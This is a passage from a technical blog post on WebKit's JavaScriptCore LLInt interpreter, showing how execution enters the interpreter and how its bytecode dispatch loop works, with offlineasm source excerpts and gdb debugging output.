</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">86</span>, <span style="color:#a6e22e">op_put_to_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf4a16</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">94</span>, <span style="color:#a6e22e">op_end</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf4a1e</span>
</span></span></code></pre></div><p>Lets return to our discussion on <code>vmEntryToJavaScript</code> that was left off from in the <a href="/jsc-part2-llint-and-baseline-jit/#recap">recap</a> section. As stated previously, this is the entry point into the LLInt. This is defined as a global label within <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L1589">LowLevelInterpreter.asm</a> as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e"># ... asm truncated for brevity 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    global _vmEntryToJavaScript
</span></span><span style="display:flex;"><span>    _vmEntryToJavaScript:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    doVMEntry(makeJavaScriptCall)
</span></span></code></pre></div><p>This effectively calls the macro, <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm#L157"><code>doVMEntry</code></a> with the macro <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm#L304"><code>makeJavaScriptCall</code></a> passed as an argument. These two macros are defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm">LowLevelInterpreter64.asm</a>.</p>
<p>The macro <code>doVMEntry</code> does a number of actions before it calls the macro <code>makeJavaScriptCall</code>. These actions are setting up the function prologue, saving register state, checking stack pointer alignment, adding a <code>VMEntryRecord</code> and setting up the stack with arguments for the call to <code>makeJavaScriptCall</code>. A truncated assembly snippet is shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>macro doVMEntry(makeCall)
</span></span><span style="display:flex;"><span>    functionPrologue()
</span></span><span style="display:flex;"><span>    pushCalleeSaves()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> entry <span style="color:#f92672">=</span> a0
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> vm <span style="color:#f92672">=</span> a1
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> protoCallFrame <span style="color:#f92672">=</span> a2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    vmEntryRecord(cfr, sp)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    checkStackPointerAlignment(t4, <span style="color:#ae81ff">0xbad0dc01</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... assembly truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    checkStackPointerAlignment(extraTempReg, <span style="color:#ae81ff">0xbad0dc02</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    makeCall(entry, protoCallFrame, t3, t4)     <span style="color:#f92672">&lt;--</span> call to makeJavaScriptCall which initiates bytecode execution
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    checkStackPointerAlignment(t2, <span style="color:#ae81ff">0xbad0dc03</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    vmEntryRecord(cfr, t4)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... assembly truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    subp cfr, CalleeRegisterSaveSize, sp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    popCalleeSaves()
</span></span><span style="display:flex;"><span>    functionEpilogue()
</span></span><span style="display:flex;"><span>    ret
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... assembly truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>When the call to <code>makeJavaScriptCall</code> returns, it performs actions to once again check stack alignment, update the <code>VMEntryRecord</code>, restore saved registers and invoke the function epilogue macro before returning control to its caller. <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm#L251"><code>makeCall</code></a> in the snippet above invokes <code>makeJavaScriptCall</code> which is defined as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e"># a0, a2, t3, t4
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>macro makeJavaScriptCall(entry, protoCallFrame, temp1, temp2)
</span></span><span style="display:flex;"><span>    addp <span style="color:#ae81ff">16</span>, sp
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... assembly truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    call entry, JSEntryPtrTag
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    subp <span style="color:#ae81ff">16</span>, sp
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>The <em>call</em> parameter <code>entry</code> here refers to the <em>glue code</em> <code>llint_program_prologue</code> that was set during the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntEntrypoint.cpp#L139">LLInt setup stage</a>. This glue code is defined in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L1879">LowLevelInterpreter.asm</a> as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>op(llint_program_prologue, macro ()
</span></span><span style="display:flex;"><span>    prologue(notFunctionCodeBlockGetter, notFunctionCodeBlockSetter, _llint_entry_osr, _llint_trace_prologue)
</span></span><span style="display:flex;"><span>    dispatch(<span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>end)
</span></span></code></pre></div><p>This glue code when compiled by <em>offlineasm</em> gets emitted in <em>LLIntAssembly.h</em>, a truncated snippet of which is shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>OFFLINE_ASM_GLUE_LABEL(llint_program_prologue)
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;.loc 1 1346</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter.asm:1346
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter.asm:777
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#e6db74">&#34;.loc 1 777</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">push %rbp</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;.loc 1 783</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">movq %rsp, %rbp</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>                                    <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter.asm:783
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span></code></pre></div><p>At runtime this resolves to the address of the <code>&lt;llint_op_enter_wide32+5&gt;</code>. This can also be seen by setting a breakpoint within <code>JITCode::execute</code> and inspecting the value at <code>entryAddress</code>. The screenshot below show the the value of <code>entryAddress</code> at runtime and the instruction dump at that address.</p>
<p><img src="/images/jsc-part2/entry_address.png" alt="entry-address"></p>
<p>Another handy feature of vscode is enabling the <em>Allow Breakpoints Everywhere</em> setting in vscode. This will allow setting breakpoints directly in <em>LowLevelInterpreter.asm</em> and <em>LowLevelInterpreter64.asm</em>. This will save a bit of time rather than having to set breakpoints in <em>gdb</em> to break in the LLInt.</p>
<p><img src="/images/jsc-part2/allow_bp_everywhere.png" alt="allow-bp-everywhere"></p>
<p>This would now allow source-level debugging in <em>offlineasm</em> source files. However, this isn&rsquo;t a foolproof method as vscode is unable to resolve branching instructions that rely on indirect address resolution. A good example of this is the <code>call</code> instruction to <code>entry</code> in <code>makeJavaScriptCall</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>call entry, JSEntryPtrTag
</span></span></code></pre></div><p>the jump address for <code>entry</code> is stored in register <code>rdi</code> and a breakpoint would need to be set manually at the address pointed to by <code>rdi</code>. In the screenshot below, the debugger pauses execution at <code>call entry, JSEntryPtrTag</code> and from within gdb allows listing of the current instruction the debugger is stopped at and the instructions that execution would jump to:</p>
<p><img src="/images/jsc-part2/instruction-level-debugging.png" alt="instruction-level-debugging"></p>
<p>Fortunately, the WebKit developers have added a line table to <em>LLIntAssembly.h</em>, which allows the debugger to cross-reference the <em>LowLevelInterpreter.asm</em> and <em>LowLevelInterpreter64.asm</em> while stepping through instructions in gdb. The screenshot below is an example of what it would look like stepping through <code>llint_op_enter_wide32</code>:</p>
<p><img src="/images/jsc-part2/line-table-example.png" alt="line-table-example"></p>
<p>With the locations in the <em>offlineasm</em> source files specified in the line table and the ability to set breakpoints directly at points of interest in the <em>.asm</em> files, one can continue debugging at the sourcecode level. The screenshot below shows an example of what that would look like in vscode:</p>
<p><img src="/images/jsc-part2/asm-source-level-debug.png" alt="asm-source-level-debug"></p>
<p>At this point one should now be able to enable execution tracing in the LLInt and setup breakpoints in <em>offlineasm</em> source files. Also discussed was how the jump to the <code>llint_program_prologue</code> glue code initiates the execution of bytecode.</p>
<p>This section will now discuss the LLInt execution loop which iterates over the bytecodes and executes them sequentially. The high level overview of this execution loop is as follows:</p>
<ol>
<li>call <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L351"><code>dispatch</code></a> with an optional argument that would increment <code>PC</code></li>
<li>Increment <code>PC</code> with the argument passed to <code>dispatch</code></li>
<li>Lookup the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L333">opcode map and fetch the address of the llint opcode label</a> for the corresponding bytecode to be executed</li>
<li>Jump to the llint opcode label that which is the start of the bytecode instructions to be executed</li>
<li>Once execution has completed, repeat #1</li>
</ol>
<p>Let&rsquo;s look a this loop in more detail by examining the execution of opcode <code>mov</code> which is at bytecode <code>bc#3</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>   3<span style="color:#f92672">]</span> mov                loc5, loc4
</span></span></code></pre></div><p>Begin by setting a breakpoint at the start of the opcode macro <code>dispatch</code> definition in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L351">LowLevelInterpreter.asm</a>. When the call to <code>dispatch</code> is made, <code>advanceReg</code> contains the value <code>0x2</code>. <code>PC</code> currently points to bytecode <code>bc#1</code>and this is incremented by adding <code>0x2</code> to point to bytecode <code>bc#3</code> which is the <code>mov</code> bytecode in our bytecode dump.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>macro dispatch(advanceReg)
</span></span><span style="display:flex;"><span>    addp advanceReg, PC
</span></span><span style="display:flex;"><span>    nextInstruction()
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>with <code>PC</code> incremented and pointing to <code>bc#3</code>, a call to <code>nextInstruction()</code> is made. The macro <code>nextInstruction</code> looks up the <code>_g_opcodeMap</code> to find the opcode implementation in the LLInt. Once the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L333"><code>jmp</code></a> in <code>nextInstruction()</code> is taken, execution controls ends up in the LLInt assembly for <code>llint_op_mov</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>macro nextInstruction()
</span></span><span style="display:flex;"><span>    loadb [PB, PC, <span style="color:#ae81ff">1</span>], t0
</span></span><span style="display:flex;"><span>    leap _g_opcodeMap, t1
</span></span><span style="display:flex;"><span>    jmp [t1, t0, PtrSize], BytecodePtrTag
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>The bytecode opcodes are implemented in this section of the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm#L756"><em>LowLevelInterpreter64.asm</em></a> and are referenced via the llint opcode labels which are defined in <em>LLIntAssembly.h</em>. An example of this is the <code>mov</code> opcode which is referenced by the label <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm#L834"><code>op_mov</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>llintOpWithReturn(op_mov, OpMov, macro (size, get, dispatch, <span style="color:#66d9ef">return</span>)
</span></span><span style="display:flex;"><span>    get(m_src, t1)
</span></span><span style="display:flex;"><span>    loadConstantOrVariable(size, t1, t2)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span>(t2)
</span></span><span style="display:flex;"><span>end)
</span></span></code></pre></div><p>And the corresponding definition in the <em>LLIntAssembly.h</em> is as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C++" data-lang="C++"><span style="display:flex;"><span>OFFLINE_ASM_OPCODE_LABEL(op_mov)
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;.loc 3 358</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">addq %r13, %r8</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>                                     <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm:358
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#e6db74">&#34;.loc 3 368</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">movq %rbp, %rdi</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>                                    <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm:368
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#e6db74">&#34;.loc 3 369</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">movq %r8, %rsi</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>                                     <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm:369
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#e6db74">&#34;.loc 1 704</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">movq %rsp, %r8</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>                                     <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter.asm:704
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">andq $15, %r8</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;.loc 3 513</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">cmpq $16, %rsi</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>                                     <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm:513
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">jge &#34;</span> LOCAL_LABEL_STRING(_offlineasm_llintOpWithReturn__llintOp__commonOp__fn__fn__makeReturn__fn__fn__loadConstantOrVariable__size__k__57_load__constant) <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;.loc 3 514</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">movq 0(%rbp, %rsi, 8), %rdx</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>                        <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm:514
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#e6db74">&#34;.loc 3 515</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">jmp &#34;</span> LOCAL_LABEL_STRING(_offlineasm_llintOpWithReturn__llintOp__commonOp__fn__fn__makeReturn__fn__fn__loadConstantOrVariable__size__k__57_load__done) <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span> <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm:515
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>  OFFLINE_ASM_LOCAL_LABEL(_offlineasm_llintOpWithReturn__llintOp__commonOp__fn__fn__makeReturn__fn__fn__loadConstantOrVariable__size__k__57_load__constant)
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;.loc 3 489</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">movq 16(%rbp), %rdx</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>                                <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm:489
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#e6db74">&#34;.loc 3 490</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">movq 176(%rdx), %rdx</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>                               <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm:490
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#e6db74">&#34;.loc 3 491</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">movq -128(%rdx, %rsi, 8), %rdx</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>                     <span style="color:#75715e">// /home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm:491
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>  OFFLINE_ASM_LOCAL_LABEL(_offlineasm_llintOpWithReturn__llintOp__commonOp__fn__fn__makeReturn__fn__fn__loadConstantOrVariable__size__k__57_load__done)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span></code></pre></div><p>One can also verify this by dumping the assembly from the debugger:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">Dump</span> <span style="color:#66d9ef">of</span> <span style="color:#a6e22e">assembler</span> <span style="color:#a6e22e">code</span> <span style="color:#66d9ef">for</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">llint_op_mov</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b4f</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">0</span><span style="color:#f92672">&gt;:</span> <span style="color:#a6e22e">add</span>    <span style="color:#a6e22e">r8</span>,<span style="color:#a6e22e">r13</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b52</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">3</span><span style="color:#f92672">&gt;:</span> <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">rdi</span>,<span style="color:#a6e22e">rbp</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b55</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">6</span><span style="color:#f92672">&gt;:</span> <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">rsi</span>,<span style="color:#a6e22e">r8</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b58</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">9</span><span style="color:#f92672">&gt;:</span> <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">r8</span>,<span style="color:#a6e22e">rsp</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b5b</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">12</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">and</span>    <span style="color:#a6e22e">r8</span>,<span style="color:#ae81ff">0xf</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b5f</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">16</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">test</span>   <span style="color:#a6e22e">r8</span>,<span style="color:#a6e22e">r8</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b62</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">19</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">je</span>     <span style="color:#ae81ff">0x7ffff4e65b6f</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">llint_op_mov</span><span style="color:#f92672">+</span><span style="color:#ae81ff">32</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b64</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">21</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">movabs</span> <span style="color:#a6e22e">r8</span>,<span style="color:#ae81ff">0xbad0c002</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b6e</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">31</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">int3</span>   
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b6f</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">32</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">call</span>   <span style="color:#ae81ff">0x7ffff5e89bd1</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">JavaScript</span><span style="color:#f92672">::</span><span style="color:#a6e22e">LLInt</span><span style="color:#f92672">::</span><span style="color:#a6e22e">llint_trace</span>(<span style="color:#a6e22e">JavaScript</span><span style="color:#f92672">::</span><span style="color:#a6e22e">CallFrame</span><span style="color:#f92672">*</span>, <span style="color:#a6e22e">JavaScript</span><span style="color:#f92672">::</span><span style="color:#a6e22e">Instruction</span> <span style="color:#66d9ef">const</span><span style="color:#f92672">*</span>)<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b74</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">37</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">r8</span>,<span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b77</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">40</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">sub</span>    <span style="color:#a6e22e">r8</span>,<span style="color:#a6e22e">r13</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b7a</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">43</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">movsx</span>  <span style="color:#a6e22e">rsi</span>,<span style="color:#a6e22e">BYTE</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">r13</span><span style="color:#f92672">+</span><span style="color:#a6e22e">r8</span><span style="color:#f92672">*</span><span style="color:#ae81ff">1</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x2</span>]
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b80</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">49</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">cmp</span>    <span style="color:#a6e22e">rsi</span>,<span style="color:#ae81ff">0x10</span>
